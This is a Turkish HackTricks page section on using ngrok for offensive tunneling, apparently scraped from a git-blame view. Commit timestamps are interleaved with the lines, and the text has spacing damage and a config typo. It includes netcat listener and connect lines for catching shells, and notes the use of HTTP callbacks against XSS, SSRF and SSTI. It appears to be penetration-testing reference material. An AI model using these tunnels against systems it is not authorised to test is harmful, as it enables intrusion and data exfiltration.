- Bir hesap oluşturun: https://ngrok.com/signup
- İstemci indirme:
2023-03-15 12:00:16 +00:00
```bash
tar xvzf ~/Downloads/ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin
chmod a+x ./ngrok
# Init configuration, with your token
./ngrok config edit
```
2024-02-10 18:14:16 +00:00
### Temel kullanı mlar
2023-03-15 12:00:16 +00:00
2024-03-26 15:52:57 +00:00
**Belgeler:** [https://ngrok.com/docs/getting-started/ ](https://ngrok.com/docs/getting-started/ ).
2023-03-15 12:00:16 +00:00
2024-03-26 15:52:57 +00:00
*Mevcut ise kimlik doğrulama ve TLS eklemek de mümkündür.*
2023-03-15 12:00:16 +00:00
2024-03-26 15:52:57 +00:00
#### TCP Tüneli
2023-03-15 12:00:16 +00:00
```bash
2024-02-10 18:14:16 +00:00
# Pointing to 0.0.0.0:4444
2023-03-15 12:00:16 +00:00
./ngrok tcp 4444
# Example of resulting link: 0.tcp.ngrok.io:12345
# Listen (example): nc -nvlp 4444
# Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345
```
2024-03-26 15:52:57 +00:00
#### HTTP ile dosyaları n açı ğa çı karı lması
2023-03-15 12:00:16 +00:00
```bash
./ngrok http file:///tmp/httpbin/
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
```
2024-03-14 23:41:46 +00:00
#### HTTP çağrı ları nı dinleme
2023-03-15 12:00:16 +00:00
2024-02-10 18:14:16 +00:00
*XSS, SSRF, SSTI için kullanı şlı dı r...*
2024-03-26 15:52:57 +00:00
Doğrudan stdout'dan veya HTTP arayüzünden [http://127.0.0.1:4040 ](http://127.0.0.1:4000 ) erişilebilir.
2023-03-15 12:00:16 +00:00
```bash
./ngrok http localhost:8080 --host-header=rewrite
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
# With basic auth
./ngrok http localhost:8080 --host-header=rewrite --auth="myuser:mysuperpassword"
```
2024-02-10 18:14:16 +00:00
#### ngrok.yaml basit yapı landı rma örneği
2023-03-15 12:00:16 +00:00
2024-02-10 18:14:16 +00:00
3 tünel açar:
2023-03-15 12:00:16 +00:00
- 2 TCP
2024-03-14 23:41:46 +00:00
- 1 HTTP, /tmp/httpbin/ dizininden statik dosyaları n sunumu ile
2023-03-15 12:00:16 +00:00
```yaml
tunnels:
2024-02-10 18:14:16 +00:00
mytcp:
addr: 4444
2024-03-14 23:41:46 +00:00
proto: tcptunne
2024-02-10 18:14:16 +00:00
anothertcp:
addr: 5555
proto: tcp
httpstatic:
proto: http
addr: file:///tmp/httpbin/
```
2024-03-26 15:52:57 +00:00
## Diğer kontrol etmek için araçlar
2020-07-15 15:43:14 +00:00
* [https://github.com/securesocketfunneling/ssf ](https://github.com/securesocketfunneling/ssf )
* [https://github.com/z3APA3A/3proxy ](https://github.com/z3APA3A/3proxy )
2024-03-14 23:41:46 +00:00
**Try Hard Security Group**
2024-03-26 15:52:57 +00:00
< figure > < img src = "/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt = "" > < figcaption > < / figcaption > < / figure >
2024-03-14 23:41:46 +00:00
{% embed url="https://discord.gg/tryhardsecurity" %}
***
2022-04-28 16:01:33 +00:00
< details >
2024-03-24 13:33:29 +00:00
< summary > < strong > Sı fı rdan kahraman olana kadar AWS hackleme konusunda öğrenin< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-03-14 23:41:46 +00:00
* **Bir **cybersecurity şirketinde mi çalı şı yorsunuz? Şirketinizin **HackTricks'te reklamı nı görmek** ister misiniz? ya da **PEASS'ı n en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI** ](https://github.com/sponsors/carlospolop ) kontrol edin!
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family ) keşfedin, özel [**NFT'lerimiz** ](https://opensea.io/collection/the-peass-family ) koleksiyonumuzu
* [**Resmi PEASS & HackTricks ürünlerini alı n** ](https://peass.creator-spring.com )
2024-03-26 15:52:57 +00:00
* **Katı lı n** [**💬** ](https://emojipedia.org/speech-balloon/ ) [**Discord grubuna** ](https://discord.gg/hRep4RUj7f ) veya [**telegram grubuna** ](https://t.me/peass ) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktaları nı zı paylaşı n, PR'lar göndererek [hacktricks repo ](https://github.com/carlospolop/hacktricks ) ve [hacktricks-cloud repo ](https://github.com/carlospolop/hacktricks-cloud )**.
2022-04-28 16:01:33 +00:00
< / details >